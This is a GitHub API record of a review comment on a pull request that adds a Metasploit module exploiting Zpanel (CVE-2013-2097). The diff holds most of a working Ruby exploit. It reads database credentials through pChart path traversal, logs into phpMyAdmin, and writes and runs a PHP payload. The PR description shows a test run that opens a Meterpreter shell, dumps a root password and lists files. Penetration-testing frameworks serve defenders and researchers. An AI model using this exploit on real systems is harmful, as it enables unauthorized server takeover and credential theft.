{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/41095641","id":41095641,"diff_hunk":"@@ -0,0 +1,265 @@\n+require 'msf/core'\n+require 'msf/core/exploit/php_exe'\n+  \n+class Metasploit3 < Msf::Exploit::Remote\n+\n+  include Msf::Exploit::Remote::HttpClient\n+  include Msf::Exploit::FileDropper\n+  include Msf::Exploit::PhpEXE\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => 'Zpanel Remote Unauthenticated RCE',\n+      'Description'    => %q{\n+        This module exploits an information disclosure vulnerability\n+        found in Zpanel <= 10.1.0. The vulnerability exposed due to a\n+        vulnerable version of pChart allowing remote, unauthenticated,\n+        users to read arbitrary files found on the filesystem. This\n+        particular module utilizes this vulnerability to identify the\n+        username/password combination of the MySQL instance. With the\n+        credentials the attackers can login to PHPMyAdmin and execute\n+        SQL commands to drop a malicious payload on the filesystem and\n+        call it leading to remote code execution.\n+       },\n+      'Author'         => [ \n+        'dawn isabel',  #dawn.isabel[at]gmail.com\n+        'brad wolfe',   #brad.wolfe[at]gmail.com\n+        'brent morris', #inkrypto[at]gmail.com\n+        'james fitts'   #fitts.james[at]gmail.com\n+        ],\n+      'License'        => MSF_LICENSE,\n+      'References'     =>\n+        [\n+          [ 'CVE', '2013-2097' ],\n+          [ 'EDB', '31173' ],   # pChart\n+          [ 'OSVDB', '102595' ],  # pChart\n+          [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ],\n+          [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ],\n+          [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ]\n+        ],\n+      'Payload'  =>\n+        {\n+          'BadChars' => \"\\x00\",\n+        },\n+      'Platform'       => 'php',\n+      'Arch'     => ARCH_PHP,\n+      'Targets'        =>\n+        [\n+          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],\n+          [ 'Linux x86'   , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]\n+        ],\n+      'DefaultTarget' => 0,\n+      'DisclosureDate' => 'Jan 30 2014'))\n+\n+    register_options(\n+      [\n+        OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])\n+      ], self.class)\n+  end\n+\n+  def dot_dot_slash(uri)\n+    res = send_request_cgi({\n+      'method'  =>  'get',\n+      'uri'   => normalize_uri(\"#{uri}\", \"etc\", \"lib\", \"pChart2\", \"examples\", \"index.php\"),\n+      'vars_get'  => {\n+        'Action'  => 'View',\n+        'Script'  => '../../../../cnf/db.php'\n+      },\n+      'version' =>  \"1.1\",\n+    })\n+\n+    uname = res.body.scan(/(?<=\\$user&nbsp;<\\/span><span style\\=\"color: #007700\"\\>=&nbsp;<\\/span><span style\\=\"color: #DD0000\"\\>')[A-Za-z0-9]+/)\n+\n+    passwd = res.body.scan(/(?<=\\$pass&nbsp;<\\/span><span style\\=\"color: #007700\"\\>=&nbsp;<\\/span><span style\\=\"color: #DD0000\"\\>')[A-Za-z0-9@#\\$\\%\\^\\&\\+=_]+/)\n+\n+    dbname = res.body.scan(/(?<=\\$dbname&nbsp;<\\/span><span style\\=\"color: #007700\"\\>=&nbsp;<\\/span><span style\\=\"color: #DD0000\"\\>')[A-Za-z0-9_]+/)\n+\n+    return uname, passwd, dbname\n+  end\n+\n+  def grab_sess_and_token(uri)\n+\n+    print_status(\"Attempting to get PHPSESSIONID\")\n+    res = send_request_cgi({\n+      'method'  =>  'GET',\n+      'uri'   =>  normalize_uri(\"#{uri}\"),\n+      'version' =>  '1.1'\n+    })\n+\n+    sess_id = \"#{res.headers['Set-Cookie'].to_s.scan(/(?<=PHPSESSID=)[A-Za-z0-9]+/)}\"\n+    sess_id = sess_id[2..-3]\n+\n+    if sess_id.length > 0\n+      print_good(\"PHPSESSID identified!\")\n+      print_good(\"PHPSESSID = #{sess_id}\")\n+\n+      print_status(\"Attempting to get CSRF token\")\n+      res = send_request_cgi({\n+        'method'  =>  'GET',\n+        'uri'   =>  normalize_uri(\"#{uri}\", \"etc\", \"apps\", \"phpmyadmin\", \"index.php\"),\n+        'version' =>  '1.1',\n+        'Cookie'  =>  \"PHPSESSID=#{sess_id}\"\n+      })\n+\n+      token = \"#{res.body.to_s.scan(/(?<=name\\=\"token\" value\\=\")[A-Za-z0-9]+/)}\"\n+      token = token.to_s[2..-3]\n+      token = token[0..31]\n+      cookies = res.get_cookies\n+\n+      cookies = cookies.split(\"; \")\n+      cookies = \"#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; PHPSESSID=#{sess_id}\"\n+\n+      if token.length > 0\n+        print_good(\"CSRF token identified!\")\n+        print_good(\"CSRF token = #{token}\")\n+        return cookies, token, sess_id\n+      else\n+        print_error(\"CSRF token could not be identified...\")\n+      end\n+    else\n+      print_error(\"PHPSESSID could not be identified...\")\n+    end\n+  end\n+\n+  def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)\n+    old_cookies = cookies\n+\n+    res = send_request_cgi({\n+      'method'  =>  'POST',\n+      'uri'   =>  normalize_uri(\"etc\", \"apps\", \"phpmyadmin\", \"index.php\"),\n+      'cookie'  =>  cookies,\n+      'ctype'   =>  \"application/x-www-form-urlencoded\",\n+      'headers' =>  {\n+        'Referer' =>  \"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/\",\n+      },\n+      'vars_post' =>  {\n+        'pma_username'  =>  uname,\n+        'pma_password'  =>  passwd,\n+        'server'    =>  \"1\",\n+        'lang'      =>  \"en\",\n+        'collation_connection'  =>  \"utf8_general_ci\",\n+        'token'     =>  token\n+      }\n+    })\n+\n+    cookies = \"#{res.get_cookies}\"\n+\n+    old_cookies = old_cookies.split(\"; \")\n+    cookies = cookies.split(\"; \")\n+    \n+    new_cookies =  \"#{old_cookies[0]}; \"\n+    new_cookies << \"#{old_cookies[1]}; \"\n+    new_cookies << \"#{old_cookies[2]}; \"\n+    new_cookies << \"#{old_cookies[3]}; \"\n+    new_cookies << \"#{cookies[0]}; \"\n+    new_cookies << \"#{cookies[1]} \"\n+    new_cookies << \"PHPSESSID=#{sess_id}\"\n+\n+    token = res['Location'].to_s.scan(/(?<=token\\=)[A-Za-z0-9]+/)\n+    token = token.to_s[2..-3]\n+\n+    res = send_request_cgi({\n+      'method'  =>  'GET',\n+      'uri'   =>  normalize_uri(\"etc\", \"apps\", \"phpmyadmin\", \"index.php\"),\n+      'Referer' =>  \"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/\",\n+      'cookie'  =>  new_cookies,\n+      'vars_get'  =>  {\n+        'token' =>  token\n+      }\n+    })\n+\n+    if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/\n+      print_good(\"PHPMyAdmin login successful!\")\n+      return new_cookies, token\n+    end\n+  end\n+\n+  def do_sql(cookies, token, uri)\n+\n+    fname = \"#{rand_text_alpha_upper(5)}.php\"\n+    sql_stmt = \"SELECT \\\"<?php #{payload.encoded} ?>\\\" INTO OUTFILE \\\"/etc/zpanel/panel/#{fname}\\\"\"\n+\n+    res = send_request_cgi({\n+      'method'  =>  'POST',\n+      'uri'   =>  normalize_uri(\"etc\", \"apps\", \"phpmyadmin\", \"import.php\"),\n+      'version' =>  '1.1',\n+      'cookie'  =>  cookies,\n+      'ctype'   =>  'application/x-www-form-urlencoded; charset=UTF-8',\n+      'headers' =>  {\n+        'X-Requested-With'  =>  \"XMLHttpRequest\",\n+        'Referer' =>  \"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}\"\n+      },\n+      'vars_post' =>  {\n+        'is_js_confirmed' =>  \"0\",\n+        'token'       =>  token,\n+        'pos'       =>  \"0\",\n+        'goto'        =>  \"server_sql.php\",\n+        'message_to_show' =>  \"Your+SQL+query+has+been+executed+successfully\",\n+        'prev_sql_query'  =>  \"\",\n+        'sql_query'     =>  sql_stmt,\n+        'sql_delimiter'   =>  \";\",\n+        'show_query'    =>  \"1\",\n+        'ajax_request'    =>  \"true\",\n+        '_nocache'      =>  rand.to_s[2..19].to_i\n+      },\n+    })\n+\n+    if res.body =~ /\"success\":true/\n+      print_good(\"'#{fname}' successfully uploaded\")\n+      \n+      print_status(\"Executing '#{fname}' on the remote host\")\n+\n+      res = send_request_cgi({\n+        'method'  =>  'GET',\n+        'uri'   =>  normalize_uri(\"#{uri}\", \"#{fname}\"),\n+        'version' =>  '1.1'\n+      })\n+\n+    else\n+      print_error(\"#{res.body.to_s}\")\n+    end\n+  end\n+\n+  def exploit\n+    uri =  target_uri.path\n+    uri << '/' if uri[-1,1] != '/'\n+\n+    peer = \"#{rhost}:#{rport}\"\n+\n+    # Checking pChart\n+    res = send_request_cgi({\n+      'method'  => 'GET',\n+      'uri'   => normalize_uri(\"#{uri}\", \"etc\", \"lib\", \"pChart2\", \"examples\", \"index.php\")\n+    })\n+\n+    # if pChart is vuln version\n+    if res.body =~ /pChart 2.x/\n+      db_info = dot_dot_slash(uri)\n+      db_info = db_info.flatten\n+      uname = db_info[0]\n+      passwd = db_info[1]\n+      db_name = db_info[2]\n+\n+      if uname.length > 0 and passwd.length > 0\n+        print_good(\"Directory traversal successful, Username/Password identified!\")\n+        print_good(\"Username: #{uname.to_s}\")","path":"modules/exploits/multi/http/zpanel_information_disclosure_rce.rb","position":245,"original_position":245,"commit_id":"5eff3e5637ee4164cb51585290afe2e09fc9179b","original_commit_id":"5eff3e5637ee4164cb51585290afe2e09fc9179b","user":{"login":"void-in","id":1746697,"avatar_url":"https://avatars.githubusercontent.com/u/1746697?v=3","gravatar_id":"","url":"https://api.github.com/users/void-in","html_url":"https://github.com/void-in","followers_url":"https://api.github.com/users/void-in/followers","following_url":"https://api.github.com/users/void-in/following{/other_user}","gists_url":"https://api.github.com/users/void-in/gists{/gist_id}","starred_url":"https://api.github.com/users/void-in/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/void-in/subscriptions","organizations_url":"https://api.github.com/users/void-in/orgs","repos_url":"https://api.github.com/users/void-in/repos","events_url":"https://api.github.com/users/void-in/events{/privacy}","received_events_url":"https://api.github.com/users/void-in/received_events","type":"User","site_admin":false},"body":"No need to use to_s inside the string interpolation.","created_at":"2015-10-04T08:01:27Z","updated_at":"2015-10-04T08:01:27Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/6041#discussion_r41095641","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6041","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/41095641"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6041#discussion_r41095641"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6041"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6041","id":46662178,"html_url":"https://github.com/rapid7/metasploit-framework/pull/6041","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6041.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6041.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6041","number":6041,"state":"open","locked":false,"title":"Added Zpanel Exploit","user":{"login":"inkrypto","id":4985649,"avatar_url":"https://avatars.githubusercontent.com/u/4985649?v=3","gravatar_id":"","url":"https://api.github.com/users/inkrypto","html_url":"https://github.com/inkrypto","followers_url":"https://api.github.com/users/inkrypto/followers","following_url":"https://api.github.com/users/inkrypto/following{/other_user}","gists_url":"https://api.github.com/users/inkrypto/gists{/gist_id}","starred_url":"https://api.github.com/users/inkrypto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inkrypto/subscriptions","organizations_url":"https://api.github.com/users/inkrypto/orgs","repos_url":"https://api.github.com/users/inkrypto/repos","events_url":"https://api.github.com/users/inkrypto/events{/privacy}","received_events_url":"https://api.github.com/users/inkrypto/received_events","type":"User","site_admin":false},"body":"ZPanel RCE Exploit \r\nCVE 2013-2097\r\n\r\nmsf > use exploit/multi/http/zpanel_information_disclosured_rce \r\nmsf exploit(zpanel_information_disclosured_rce) > set rhost 192.168.1.16\r\nrhost => 192.168.1.16\r\nmsf exploit(zpanel_information_disclosured_rce) > set payload php/meterpreter/bind_tcp\r\npayload => php/meterpreter/bind_tcp\r\nmsf exploit(zpanel_information_disclosured_rce) > rexploit\r\n[*] Reloading module...\r\n\r\n[*] Started bind handler\r\n[+] Directory traversal successful, Username/Password identified!\r\n[+] Username: root\r\n[+] Password: ux3V2jc3m7Z6xE24\r\n[+] DB Name: zpanel_core\r\n[*] Attempting to get PHPSESSIONID\r\n[+] PHPSESSID identified!\r\n[+] PHPSESSID = jt4mclm314sc49jqb0tsjursf2\r\n[*] Attempting to get CSRF token\r\n[+] CSRF token identified!\r\n[+] CSRF token = 641be649c3c4e18522aa46ac2c403188\r\n[*] Logging into PHPMyAdmin now\r\n[+] PHPMyAdmin login successful!\r\n[*] Uploading malicious payload now\r\n[+] 'UAPSP.php' successfully uploaded\r\n[*] Executing 'UAPSP.php' on the remote host\r\n[*] Sending stage (40551 bytes) to 192.168.1.16\r\n[*] Meterpreter session 1 opened (192.168.1.7:59277 -> 192.168.1.16:4444) at 2014-10-25 21:07:03 -0400\r\n\r\nmeterpreter > shell\r\nProcess 2585 created.\r\nChannel 0 created.\r\nls\r\nFVMAH.php\r\nLICENSE.md\r\nREADME.md\r\nUAPSP.php\r\nbin\r\ncnf\r\ndoc\r\ndryden\r\netc\r\ninc\r\nindex.php\r\nmodules\r\npwd\r\n/etc/zpanel/panel\r\n","created_at":"2015-10-02T17:45:28Z","updated_at":"2015-10-04T08:01:27Z","closed_at":null,"merged_at":null,"merge_commit_sha":"e99c318d7c1496a6ae4e4c0211aeaecb052b1bd1","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6041/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6041/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6041/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/5eff3e5637ee4164cb51585290afe2e09fc9179b","head":{"label":"inkrypto:zpanel","ref":"zpanel","sha":"5eff3e5637ee4164cb51585290afe2e09fc9179b","user":{"login":"inkrypto","id":4985649,"avatar_url":"https://avatars.githubusercontent.com/u/4985649?v=3","gravatar_id":"","url":"https://api.github.com/users/inkrypto","html_url":"https://github.com/inkrypto","followers_url":"https://api.github.com/users/inkrypto/followers","following_url":"https://api.github.com/users/inkrypto/following{/other_user}","gists_url":"https://api.github.com/users/inkrypto/gists{/gist_id}","starred_url":"https://api.github.com/users/inkrypto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inkrypto/subscriptions","organizations_url":"https://api.github.com/users/inkrypto/orgs","repos_url":"https://api.github.com/users/inkrypto/repos","events_url":"https://api.github.com/users/inkrypto/events{/privacy}","received_events_url":"https://api.github.com/users/inkrypto/received_events","type":"User","site_admin":false},"repo":{"id":22939135,"name":"metasploit-framework","full_name":"inkrypto/metasploit-framework","owner":{"login":"inkrypto","id":4985649,"avatar_url":"https://avatars.githubusercontent.com/u/4985649?v=3","gravatar_id":"","url":"https://api.github.com/users/inkrypto","html_url":"https://github.com/inkrypto","followers_url":"https://api.github.com/users/inkrypto/followers","following_url":"https://api.github.com/users/inkrypto/following{/other_user}","gists_url":"https://api.github.com/users/inkrypto/gists{/gist_id}","starred_url":"https://api.github.com/users/inkrypto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inkrypto/subscriptions","organizations_url":"https://api.github.com/users/inkrypto/orgs","repos_url":"https://api.github.com/users/inkrypto/repos","events_url":"https://api.github.com/users/inkrypto/events{/privacy}","received_events_url":"https://api.github.com/users/inkrypto/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/inkrypto/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/inkrypto/metasploit-framework","forks_url":"https://api.github.com/repos/inkrypto/metasploit-framework/forks","keys_url":"https://api.github.com/repos/inkrypto/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/inkrypto/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/inkrypto/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/inkrypto/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/inkrypto/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/inkrypto/metasploit-framework/events","assignees_url":"https://api.github.com/repos/inkrypto/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/inkrypto/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/inkrypto/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/inkrypto/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/inkrypto/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/inkrypto/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/inkrypto/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/inkrypto/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/inkrypto/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/inkrypto/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/inkrypto/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/inkrypto/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/inkrypto/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/inkrypto/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/inkrypto/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/inkrypto/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/inkrypto/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/inkrypto/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/inkrypto/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/inkrypto/metasploit-framework/merges","archive_url":"https://api.github.com/repos/inkrypto/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/inkrypto/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/inkrypto/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/inkrypto/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/inkrypto/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/inkrypto/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/inkrypto/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/inkrypto/metasploit-framework/releases{/id}","created_at":"2014-08-14T02:52:51Z","updated_at":"2014-08-14T03:26:10Z","pushed_at":"2015-10-02T18:34:23Z","git_url":"git://github.com/inkrypto/metasploit-framework.git","ssh_url":"git@github.com:inkrypto/metasploit-framework.git","clone_url":"https://github.com/inkrypto/metasploit-framework.git","svn_url":"https://github.com/inkrypto/metasploit-framework","homepage":"http://www.metasploit.com/","size":251022,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"a2107b11b2a0ffcad070e7ce46143909a91249f8","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-10-04T02:41:21Z","pushed_at":"2015-10-03T09:05:01Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1094551,"stargazers_count":4542,"watchers_count":4542,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3447,"mirror_url":null,"open_issues_count":210,"forks":3447,"open_issues":210,"watchers":4542,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6041"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6041"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6041"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6041/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6041/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6041/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/5eff3e5637ee4164cb51585290afe2e09fc9179b"}}}}